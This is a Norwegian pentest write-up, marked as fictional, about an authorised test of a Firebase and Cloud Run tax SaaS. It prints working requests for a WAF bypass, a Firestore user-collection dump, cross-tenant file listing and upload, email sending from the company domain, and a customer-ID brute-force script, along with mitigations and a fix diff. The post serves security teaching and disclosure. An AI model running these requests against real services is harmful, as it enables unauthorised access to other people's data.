---
title: "Firebase-gulvet ga etter — når tenantsitteren bor i én samling"
date: 2026-08-30
description: "En ekstern pentest av en Firebase/Cloud Run SaaS: 974 brukere i klartekst, cross-tenant filmetadata og filskriving via dokument-API-ets egne endepunkter — og veggen jeg aldri kom forbi."
tags: ["pentest", "firebase", "firestore", "cloud-run", "api-security", "multi-tenant", "ai", "security"]
url: https://erik.no/blogg/2026-08-30-firebase-dump-og-cross-tenant-filskrift-i-en-sky-saas
---

<Callout type="info">
  **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
  innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
  er tilfeldig. Detaljer fra reelle oppdrag er sanert.
</Callout>

Denne gangen var målet ikke å knekke inn — det var å bevise hva man _kunne_ gjøre
etter å ha kommet inn. Skattebureauet Fjordlys AS (`fjordlysas.no`) kjører en
krypto- og skatteberegningstjeneste bygget på Firebase Auth, Firestore, en
Next.js-app på Vercel og en FastAPI-backend på Google Cloud Run. Alt av
klassisk, moderne sky. Og den moderne stacken leverte to av de mer interessante
funnene jeg har hatt denne sesongen: en Firestore-samling som lot seg dumpe
rett ut, og et dokument-API som godtok hvem som helst med et gyldig token —
for hvilken som helst kunde.

Dette er en lang skriveprosess. Det er ikke fordi selve angrepet var spesielt
avansert, men fordi hvert funn fortjener å bli fulgt _helt_ ut: forutsetningene,
den eksakte forespørselen, den rå responsen, den negative kontrollen, og
mitigeringen. Jeg tror det er der verdien ligger — ikke i lister av alarmer,
men i kjeden som beviser hver av dem.

## Kontekst

SoW-en ba om tre ting: eskalering til systemadministrator, uttrekk av
kundedata, og vurdering av backend-API-ene. Klienten, ved daglig leder Ola
Hansen (`ola.hansen@fjordlysas.no`), hadde uttrykkelig godkjent full-send og
aggressiv metode. Scope var frontenden på `www.fjordlysas.no`, et parallelt
Vercel-utviklerdomene, og et Cloud Run-API.

Jeg kjører denne typen oppdrag med AI i loopen: jeg starter med recon og
kaster en strøm av hypoteser mot målet, agentene går parallelt på endepunkter
og auth-flipper, og jeg tar vurderingene — som denne gangen ble flere og
vanskeligere enn jeg liker. Stacken er dessuten svært snakkende: med et
Firebase-basert produkt sitter hele datamodellen i praksis _i klienten_,
og buntene spytter ut alt du trenger for å kjøre mot samme backend som
appen selv gjør.

## Oppsett og vektløftingen før angrepet

Første time var ren kartlegging. AI-en kjørte subdomain-enumerasjon med
`subfinder` og `httpx`, og nuclei mot infrastrukturen:

```bash
nuclei -u https://www.fjordlysas.no -t cves/ -severity critical,high -rl 50
```

Nul treff mot 4 222 CVE-maler. Det er et funn i seg selv —
infrastrukturlaget var oppdatert. Men det viktigste var noe enklere:
det paralelle rå‑Vercel‑domenet (i denne teksten `raw-deploy.vercel.app`)
svarte uten WAF-bonnen Cloudflare setter opp foran hoveddomenet. Det ga meg
en trafikk-skanse for resten av oppdraget — ikke et funn i seg selv, men en
kondisjon som gjorde alt annet lettere.

Frontendbuntene lastet jeg ned og la i et lokalt arbeidsområde. Det er
vanlig praksis, men fortjener en nevnning fordi alt det _virkelige_ arbeidet
senere kom fra å lese dem ordentlig:

```bash
grep -ohR "/api/[a-z][a-z0-9/_-]*" bunten/ | sort -u > endpoints.txt
wc -l endpoints.txt   # 164 endepunkter
```

164 API-ruter, ekstrahert fra Vite/Next.js-bunter med en AI-generert
`rg`-pipeline. Det er tjenestens hele API-overflate, plukket fra klienten
som en leser kunne gjort over en lunsj.

## Vekten av en trauskanse: WAF-bypass-ruten

Før selve funnene, en liten egen historie som gjorde hele oppdraget enklere —
og som er verdt å formidle fordi det er et mønster jeg ser gjentatte ganger
på Vercel-baserte produkter.

Hoveddomenet `www.fjordlysas.no` lå bak Cloudflare. Cloudflare setter en
`Vercel Security Checkpoint`-utfordring på bot-trafikk, og det gjør
skannere og automatiserte forespørsler tungvindt: man må verifisere seg,
cookies rullerer, og `nuclei`-sweeps blir tregere og støyere enn de trenger
å være. Det er tjenesten så vidt jeg forstår bevisst — men den har en blind
flekk: den rå Vercel-deploy-URL-en.

Hver Vercel-deploy kan nås direkte via `<prosjekt>.vercel.app`, uten
Cloudflare foran. DNS-en peker mot Vercel, men ingenting hindrer en i å
snakke med Vercel-endepunktet direkte — med mindre pro­sjekt­eier har
konfigurert domain-verifisering som avviser trafikk som ikke kommer via
kundens eget domenenavn. Det hadde ikke blitt gjort her:

```bash
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
  https://www.fjordlysas.no/api/health          # 403 (Cloudflare challenge)
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
  https://raw-deploy.vercel.app/api/health       # 200 {"status":"ok"}
```

Samme app, samme backend, samme API — men én rute gjennom WAF-en og én
uten. Resten av oppdraget kjørte jeg mot Vercel-domenet med en standard
Chrome UA-streng (`Mozilla/5.0 Chrome/151.0.0.0`; en annen UA ga
`403` med Cloudflare-feilkode 1010 på enkelte ruter — verdt å notere
hvis du replikerer).

Det er ikke et sårbart­hets­funn i seg selv — appen er lik, og alt som
er tilgjengelig bak Vercel-URL-en er også tilgjengelig gjennom hoved­
domenet for en ekte bruker. Men det er en _operasjonell_ svakhet:
WAF-en, som er en del av forsvars­over­flaten, kan omgås fullstendig,
og rate­limit­regler som er konfigurert i Cloudflare gjelder kun
hoveddomenet. Jeg rapporterte det som en anbefaling
("lay Vercel-deploys bak Cloudflare i front, eller la Vercel avvise
Host-headere som ikke matcher kundens domene") snarere enn et funn,
fordi eksploit­verdien er indirekte. <Severity level="low" />.

## Oppsette probe-kontoen

Firebase API-nøkkelen sto i klartekst i hovedbunden (klassisk Firebase-mønster;
nøkkelen er ikke en hemmelighet, men den er nødvling for at REST-API-ene
skal virke). Med den registrerte jeg en prøvebruker via Googles identitytoolkit:

```http
POST /v1/accounts:signInWithPassword?key=<FIREBASE_API_KEY>
Host: identitytoolkit.googleapis.com

{"email":"pentest.probe@fjordlysas.no","password":"<REDACTED>","returnSecureToken":true}
```

```json
{
  "localId": "1111111111111111111111111111",
  "idToken": "<REDACTED — 974 bytes>",
  "refreshToken": "<REDACTED>",
  "expiresIn": "3600"
}
```

Verifiserte e-posten via `accounts:sendOobCode` mot en postkasse jeg kontrollerer.
Det er den tilstanden alt det videre forutsetter: **et gyldig Firebase JWT
for en alminnelig, nyregistrert kundebruker.** Ingen roller, ingen custom
claims — bare standard­tokenet alle kunder går rundt med.

## Det jeg fant

Fire funn holdt seg til slutt. Tre av dem er egentlig én historie om
Firestore-regler og manglende tenant-filter i en backend, og den fjerde er
et post­endepunkt som lar deg sende e-post fra firmaets eget domene.

### Funn 1: 974 brukerprofiler i klartekst

Firestore-sikkerhetsreglene for `users`-samlingen tillot _lesing av hele
samlingen_ for enhver innlogget bruker. En enkel list-operasjon via
Firestore REST API med min egen Firebase-token returnerte paginert
brukerdata — 974 dokumenter i klartekst: e‑post, navn, kunde-ID-er
(`CUST-<timestamp>`-format), konto­numre, roller og opprettelsestidspunkter.

```http
GET /v1/projects/fjordlys-frontend/databases/(default)/documents/users?pageSize=5
Host: firestore.googleapis.com
Authorization: Bearer <FIREBASE_JWT>
```

```json
{
  "documents": [
    {
      "name": "projects/fjordlys-frontend/databases/(default)/documents/users/1111...",
      "fields": {
        "email": {"stringValue": "kari.nordmann@fjordlysas.no"},
        "customer_id": {"stringValue": "CUST-1765897468504"},
        "role": {"stringValue": "company_admin"},
        "approved": {"booleanValue": true}
      }
    }
  ],
  "nextPageToken": "<REDACTED>"
}
```

Det er ikke teknisk komplisert — det er bare en regel som glemte at
`list` og `get` er to ulike operasjoner. Jeg fikk AI-en til å skrive et
lite paginerings-script som dumpet hele samlingen; det tok under tre minutter.
<Severity level="high" />.

<Callout type="warning">
  Dette er det klassiske Firebase-feilgrepet: sikkerhetsregler skrives for
  "kan lese _sitt eget_ dokument", men `list`-operasjonen arver ikke
  `get`-regelen automatisk. En regel som kun sjekker
  `request.auth.uid == resource.id` blokkerer _lesing av andres dokumenter_
  — men _listingen_ av hele samlingen må avslås separat, og det ble den ikke.
</Callout>

### Funn 2: Cross-tenant filmetadata via dokument-API-et

FastAPI-backend på Cloud Run eksponerte `/openapi.json` åpent. Elleve
endepunkter, og to av dem tok en `customer_id`-parameter:

```http
GET /api/documents?customer_id=0592-5351-8860-8859
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer <FIREBASE_JWT>
```

Responsen var filmetadata for en kunde jeg aldri hadde hørt om — filnavn,
GCS-sti, filstørrelse, opplastingstidspunkt og behandlingsstatus, for
_multiple platformer_ (kryptobørser, tradingsplattformer). Det er
kunde­mappe­strukturen i et sky-lagrings­bøtte, hentet ut med min
alminnelige kunde­brukers token.

```json
{
  "files": [
    {
      "name": "20251218_212910_transactions.xlsx",
      "path": "0592-5351-8860-8859/coinbase/20251218_212910_transactions.xlsx",
      "size": 76475,
      "customerId": "0592-5351-8860-8859",
      "platformId": "coinbase"
    }
  ]
}
```

Negativ kontroll først: med et _ukjent_ kunde-ID returnerte samme endepunkt
`200` med en tom liste — ikke `403`, ikke `404`. Det er ikke noe som beviser
lekkasje i seg selv, det beviser bare at endepunktet ikke avgrenser på
eierskap. PoC-en under viser begge sider.

<Severity level="high" />.

### Funn 3: Cross-tenant filskriving

Samme endepunktfamilie hadde en upload-rute som tok multipart-form med
`customer_id` og fil:

```bash
curl -X POST https://api.fjordlys-internal.europe-west1.run.app/api/documents/upload \
  -H "Authorization: Bearer <FIREBASE_JWT>" \
  -F "customer_id=0592-5351-8860-8859" \
  -F "platform_id=coinbase" \
  -F "file=@/tmp/poc.csv"
```

```json
{
  "id": "13b4e903-c7c1-4281-94ca-327798e39100",
  "filename": "poc.csv",
  "gcs_path": "gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20260829_211044_poc.csv"
}
```

Etterfulgt av en liste-operasjon som bekreftet at filen nå lå i
kunde­mappen, ved siden av kundens eksisterende transaksjonsfiler.
Det er skriving til en fremmed kundes datamappe, med et token som
ikke inneholder den kunden, og uten at noen aut­ori­sa­sjons­sjekk
grep inn. <Severity level="high" />.

### Funn 4: E-postutsending fra firmaets domene

`POST /api/send-email` på Next.js-serveren sendte en testmelding via firmaets
e-postleverandør, fra domenet `fjordlysas.no`. Rate-limit var 79 per dag, og
alle utsendelser ble auto-kopiert til en intern adresse (som betyr at mottakeren
_av_ kopien _ser_ at en test har gått — men selve utsendingen kom fra
den offisielle domenet, fra en vanlig kundebrukers token).
<Severity level="medium" />.

PoC-en for dette var enkel, men jeg vil vise den likevel — e-postutsending
er en av de funntypene der en enkelt respons forteller deg alt:

**Forutsetninger:** Firebase JWT fra probe-kontoen. Utsendingen ble kjørt
etter avtale i SoW, mot en postkasse jeg selv kontrollerer.

```http
POST /api/send-email HTTP/1.1
Host: raw-deploy.vercel.app
Authorization: Bearer <FIREBASE_JWT>
Content-Type: application/json

{"to":"mine-testmottakere@eksempel-no.no","subject":"PoC","body":"Test fra pentest-probe"}
```

```http
HTTP/1.1 200 OK
Content-Type: application/json

{"ok":true,"remainingToday":78}
```

**Tolkning:** `200` pluss at meldingen faktisk ankom min testpostkasse,
med `From:` på `fjordlysas.no`, er beviset. Auto-kopien til den interne
adressen var synlig i mine headers — det er en implementasjons­detalj
som kanskje var ment som en varslingsmekanisme, men den gjør også at
den som mottar meldingen _kan_ se at en test har gått. Det gir
spor­bar­het, men hindrer ikke misbruk: en angriper kan sende meldinger
fra det offisielle domenet til hvem som helst, med et vanlig kunde­
token, 79 ganger per dag.

En negativ kontroll her var å sende med manglende felter — den ga
en ryddig validerings­feil, noe som viser at validering eksisterer
på skjema-nivå men ikke på aut­ori­sa­sjons­nivå:

```http
HTTP/1.1 400 Bad Request
{"message":"Mangler mottaker"}
```

**Mitigering:** Krav om admin-rolle eller minimum en eierskaps­sjekk
(kun send til _egen_ registrerte e-post, med tydelig
"system­melding fra testmiljø"-markering). <Severity level="medium" />.

### Funn 5: Kundesekvens-sweepen som ikke ga treff — og hvorfor det var nyttig

En metode­messig side­grein jeg regner som et del­resultat. Jeg trengte
flere kunde-ID-er for å vise at Funn 2 var systematisk, ikke en
tilfeldighet. Kunde-ID-ene i Firestore-dumpen (`CUST-<timestamp>`-format)
matchet ikke formatet Cloud Run-API-et forventet
(`0592-5351-8860-8859`-format — fire blokker på fire siffer). Det er
tydeligvis to ulike identifikator­systemer i samme tjeneste.

Jeg fikk en agent til å generere og teste ~1 500 ID-varianter mot
`/api/documents` med parallell utførelse:

```python
from concurrent.futures import ThreadPoolExecutor

def probe(cid):
    req = urllib.request.Request(
        f"{BASE}/api/documents?customer_id={cid}",
        headers=UA, method="GET")
    d = json.loads(urllib.request.urlopen(req, timeout=8).read())
    return (cid, len(d)) if isinstance(d, list) and d else None

with ThreadPoolExecutor(20) as ex:
    for hit in ex.map(probe, test_ids):
        if hit:
            print(hit)
```

Null treff på 1 500 forsøk. Det er en negativ kontroll av samme slag
som det jeg forventet å finne — den forteller at kunde-ID-ene ikke
er gjetbare i praksis, og at det reelle angrepet _ikke_ er
"brute-force deg til en kundefolder" men "vite én kunde-ID og lese
den". Jeg fikk vite én kunde-ID fra Firestore-dumpen (Funn 1), og
det var nok. De to funnene kobler seg altså til hverandre:
samlingen­lekkasjen leverer _materiellet_ (kunde-ID-er), og
dokument­API-et leverer _lekkasjen_ (metadata + skriving).

Det er et godt eksempel på en teknikk jeg bruker bevisst: **en
negativ sweep som beviser at angrepsflaten er smal, er like verdifull
som en positiv som viser at den er bred.** Uten sweepen ville en
leser (eller klienten) kunne tro at cross-tenant-funnet bare var
et problem hvis man alt kjente til ID-en — det er ikke tilfelle.

## PoC / Reproduksjon

For Funn 2–3 kjører hele kjeden slik:

**Forutsetninger:** innlogget som nyregistrert kundebruker
(`poc@fjordlysas.no`, Firebase JWT i `token.txt`). Kundefolder
`0592-5351-8860-8859` tilhører en annen bruker — jeg har aldri hatt
tilgang til den, og fant ID-en i Firestore-dumpen fra Funn 1.

1. Registrer bruker og hent Firebase JWT:

```bash
curl -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=<FIREBASE_API_KEY>" \
  -H "Content-Type: application/json" \
  -d '{"email":"poc@fjordlysas.no","password":"<REDACTED>","returnSecureToken":true}'
```

2. List fremmed kundes filer:

```http
GET /api/documents?customer_id=0592-5351-8860-8859 HTTP/1.1
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer <FIREBASE_JWT>
```

```http
HTTP/1.1 200 OK
Content-Type: application/json

[{"id":"c6978901-...","filename":"20251218_212910_transactions.xlsx",
  "gcs_path":"gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20251218_212910_transactions.xlsx"}]
```

3. Last opp en fil i samme mappe (bevis for skriving):

```http
POST /api/documents/upload HTTP/1.1
Host: api.fjordlys-internal.europe-west1.run.app
Authorization: Bearer <FIREBASE_JWT>
Content-Type: multipart/form-data; boundary=...

--...
Content-Disposition: form-data; name="customer_id"

0592-5351-8860-8859
--...
Content-Disposition: form-data; name="file"; filename="poc.csv"
Content-Type: text/csv

test,data
--...--
```

```http
HTTP/1.1 200 OK

{"id":"13b4e903-...","gcs_path":"gs://fjordlys-customer-documents/0592-5351-8860-8859/coinbase/20260829_211044_poc.csv"}
```

4. **Negativ kontroll** — prøv å list dokumenter for en kunde-ID som
   _ikke finnes_ (tilfeldig generert):

```http
GET /api/documents?customer_id=1234-5678-9012-3456
Authorization: Bearer <FIREBASE_JWT>
```

```http
HTTP/1.1 200 OK

[]
```

**Tolkning:** tom liste — ikke `403` eller `404`. Endepunktet oppfører seg
likt for en kunde jeg eier, en jeg ikke gjør, og en som ikke finnes. Det er
det som gjør Funn 2–3 til et strukturelt problem og ikke en engangsfeil:
autorisasjons­sjekken mangler, den er ikke bare feilkonfigurert for én kunde.
<Severity level="high" />.

**Mitigering:** Cloud Run-endepunktet må validere at `customer_id`
svarer til en kunde som kallerens Firebase-bruker faktisk eier
(foreks. via `users/{uid}.customer_ids`), og returnere `404` ved avvik
for ikke å bekrefte eksistens:

```diff
 @router.get("/documents")
-async def list_documents(customer_id: str, user=Depends(get_current_user)):
-    return await storage.list_files(f"{customer_id}/")
+async def list_documents(customer_id: str, user=Depends(get_current_user)):
+    if customer_id not in user.customer_ids:
+        raise HTTPException(404)
+    return await storage.list_files(f"{customer_id}/")
```

Samme filter trengs på upload-ruten, og der bør opplastingen også
logges med hvem som lastet opp.

## Fire funn til — og hvorfor de ikke holdt

En god del av det jeg oppdaget underveis så ut som store funn, men ble
nedgradert etter verifisering. Det er like mye å lære av dem, og de forteller
noe om forskjellen mellom "plausible funn" og "kontrollerte primitiver"
som jeg prøver å holde strengt i mine rapporter.

### Administratorportalen jeg aldri kom inn i

JS-buntene viste hardkodede e-postadresser (typisk `admin@…`-mønster) som
klienten sjekket for å rendre en admin-dashboard. Så tiltalende — skriv
din egen e-post inn i brukerdokumentet, og klienten gir deg UI-en.

Men serveren validerte ikke klientens sjekk. Den validerte med
**Firebase custom claims** (`crmExternal: true`) — som settes kun via
Admin SDK og verifiseres serverside i JWT-en. Jeg skrev
`role: "sysadmin"` til mitt eget Firestore-dokument, oppdaterte
`crmExternal: true`, og testet hele admin-flaten igjen. Alle
admin-endepunktene fortsatte å svare `403`.

Negativ kontroll (i praksis): jeg verifiserte via `accounts:lookup`
at tokenet ikke inneholdt custom claims (`customAttributes: none`),
og bekreftet at det var JWT-en, ikke Firestore-dokumentet, som var
den server-side kilden til sannhet. Admin-laget holdt — rapporterte
det som en positiv vurdering, ikke et funn.

### Cloud Run-registreringen som ikke gav tilgang

Backend-API-et hadde et eget bruker­system med `/api/auth/register`
som aksepterte min registrering og returnerte et UUID-token. Så ble
samme token avvist av samme backend én fetch senere:

```http
GET /api/auth/me HTTP/1.1
Authorization: Bearer <BACKEND_TOKEN>

HTTP/1.1 401 Unauthorized
{"detail": "Invalid authentication credentials"}
```

Mens Firebase JWT-er fungerer mot dokument-endepunktene på samme
backend. Det er et funn i seg selv — to aut­ori­serings­systemer
som ikke er i samsvar — men ingen innbrudd, og det er verdt å nevne
som et varsel til klienten: to identitetslag som ikke er koordinert
er en kilder til fremtidige hull.

### External-upload-secret-en

Et uautentisert token-utvekslingsendepunkt (`/api/crm/external-upload/exchange`)
returnerte et Firebase custom token ved gyldig `customerId` + `secret`,
og det custom-tokenet inneholdt `crmExternal: true` — altså den samme
claim-en som admin-endepunktene sjekker. Det er en _riktig_ vei til
økt tilgang, hvis man kjenner en gyldig secret. Men secret-en viste
seg å være en UUID v4 (2^122 muligheter), og jeg fant ingen way å
enumerere den. Droppet brute-force, rapporterte mekanismen som et
risikomønster i stedet — særlig fordi alle kunder så ut til å mangle
provisionerte secrets, noe som betyr at angrepet i praksis er
teoretisk inntil noen aktiverer det.

### GCS-bøtten jeg kunne navngi, men ikke lese

Med Firebase JWT returnerte både XML- og JSON-API-et til Google
Cloud Storage `401 Invalid Credentials` — Googles storage-API
forventer OAuth-token, ikke Firebase-ID-token. Filinnholdet kunne
jeg ikke hente ut byte for byte uten en annen auth-vei; kun metadata
og skriving var tilgjengelig via backend-API-et. Jeg prøvde også
Firebase Storage API — der fikk jeg en annen feil, at bøtten ikke
var konfigurert for Firebase Storage, noe som antyder at tjenesten
bruker rå-GCS med tjenestekonto-nøkler på backend-siden (som forventet).
Det var en fordel for klienten: filinnholdet er ikke lesbar for
en alminnelig Firebase-bruker selv om metadataene er det.

## Verktøy og hvem som kjørte hva

- **Recon og subdomain-enumerasjon:** AI-agent med `subfinder` og
  `httpx -silent -title`. Jeg satte scope-filen.
- **nuclei v3 (4 222 CVE-templates):** AI-kjør mot både hoveddomenet og
  rå-Vercel-utpakkingen. Null treff — som var poenget: ingen kjente
  CVE-er å bygge videre på.
- **Frontend-bunt-analyse:** Jeg lastet ned `index-*.js` og chunk-filer
  manuelt; en AI-agent ekstraherte 164 API-ruter med `rg`-mønsteret over.
- **Firestore-dumpen:** AI-generert Python-script med `urllib`, paginert
  mot Firestore REST API med min egen Firebase JWT. Jeg satte
  ratelimit og verifiserte at jeg ikke skrev noe.
- **Upload-PoC:** Manuell `curl` fra min maskin, mot en kundefolder
  avtalt i SoW. Filinnholdet var en to-linjers CSV med en teststreng.
- **Negativ kontroll:** Manuell — det er vurderingen som avgjør om
  responsen beviser noe, og den vil jeg ikke delegere.
- **Brute-force av tenant- og kunde-ID-er:** AI-agent kjørte en
  parallellisert `ThreadPoolExecutor`-sweep mot
  `/api/documents?customer_id=X` med ~1 500 genererte ID-er. Null
  treff — som var nyttig: det betydde at kunde-ID-ene ikke var
  sekvensielle eller gjetbare, så fundet Funn 2 er ikke et
  enumerasjon­problem i praksis, men et autorisasjons­problem.

## Mitigering

Fire konkrete forslag, i prioritert rekkefølge:

1. **Firestore-regler:** endre regelverket slik at `users`-samlingen
   tillater `get` på `request.auth.uid == resource.id`, men _ikke_
   `list` for alminnelige brukere. Dette alene lukker 974-profil-lekkasjen.
   <Severity level="high" />.
2. **Tenant-filter på dokument-API-et:** legg til et predikat på både
   `list` og `upload` som sjekker `customer_id` mot kallerens
   `customer_ids`, og returner `404` ved avvik (ikke `403`).
   <Severity level="high" />.
3. **E-postutsending:**`/api/send-email` bør kreve admin-rollen eller
   i det minste MFA-gated tilgang, ikke bare et gyldig Firebase-token.
   <Severity level="medium" />.
4. **Generelt:** gjennomgå alle backend-endepunkter som tar en
   kunde-ID-parameter. To av elleve i OpenAPI-spec-en manglet
   eierskapssjekk — det er et mønster, ikke en tilfeldighet.

<Callout type="success">
  Etter Firestore-regelendringen skal en nyregistrert brukers
  `list`-forsøk på `users`-samlingen svare `403 PERMISSION_DENIED`
  — ikke bare en tom liste. Test det regressivt etter deploy.
</Callout>

## Hva jeg lærte

- **Firestore-regler feiler på `list`, ikke `get`.** Alle tester
  av "kan jeg lese mitt eget dokument" passerer. Først når du _listar_
  samlingen ser du at regelen bare dekker enkelt­dokument­tilfelle.
- **Cross-tenant i fil-API-er ser ofte ut som "tom liste" i stedet
  for `403`.** Den tomme responsen er lettere å overse, og den er
  det som gjør bruddet systematisk.
- **Custom claims er ikke synlige i Firestore.** Jeg prøvde å eskalere
  til sysadmin ved å skrive en rolle til mitt eget Firestore-dokument;
  serveren ignorerte det fullstendig. Custom claims settes kun via
  Admin SDK og verifiseres i JWT-en — den modellen holdt, og det er
  verdt å si også.
- **En moderne Firebase-stack er utrolig informativ å angripe.**
  Bunter, REST-endepunkter og aut­ori­se­­rings­regler er alle lesbare.
  En produkt­eier som har et slikt oppsett bør teste _regler_ og
  _endepunkter_ systematisk, ikke bare web-flaten.
- **AI-agenter produserer plausible funn fort — og plausible
  feilgrep like fort.** Verdien ligger i verifiseringen. Jeg så
  minst to funn denne runden som så "kategorisk gale" ut i en
  agent-rapport, og som falt fra hverandre når jeg kjørte dem
  manuelt med en negativ kontroll. Rapporten er langt kortere
  enn agentenes funnlister, og det er med vilje.

## Veien videre

Funnene er rapportert og fikseansvarlig er varslet. Jeg jobber videre
med to tråder:

- Klient­bunt­analysen er skalerbar — jeg jobber med et lite verktøy som
  trekker ut API-ruter og Firestore-samling­navn fra en produksjons­bunt
  automatisk, slik at denne typen kartlegging kan kjøres i starten av
  ethvert Firebase-basert oppdrag.
- For kunder med Firebase-stack: en liten sjekk­liste ("kan en nybruker
  `list`-e min `users`-samlingen? har hvert endepunkt med en
  kunde-ID-parameter en eierskapssjekk?") som jeg regner med blir
  en fast del av mine oppdrag fremover.

Dessuten: custom-claims-modellen som holdt her er verdt en egen
artikkel. Det er den eneste aut­ori­serings­mekanismen jeg møtte i
dette oppdraget som jeg _ikke_ kom forbi, og grunnen er verdt å
skrive ut eksplisitt.
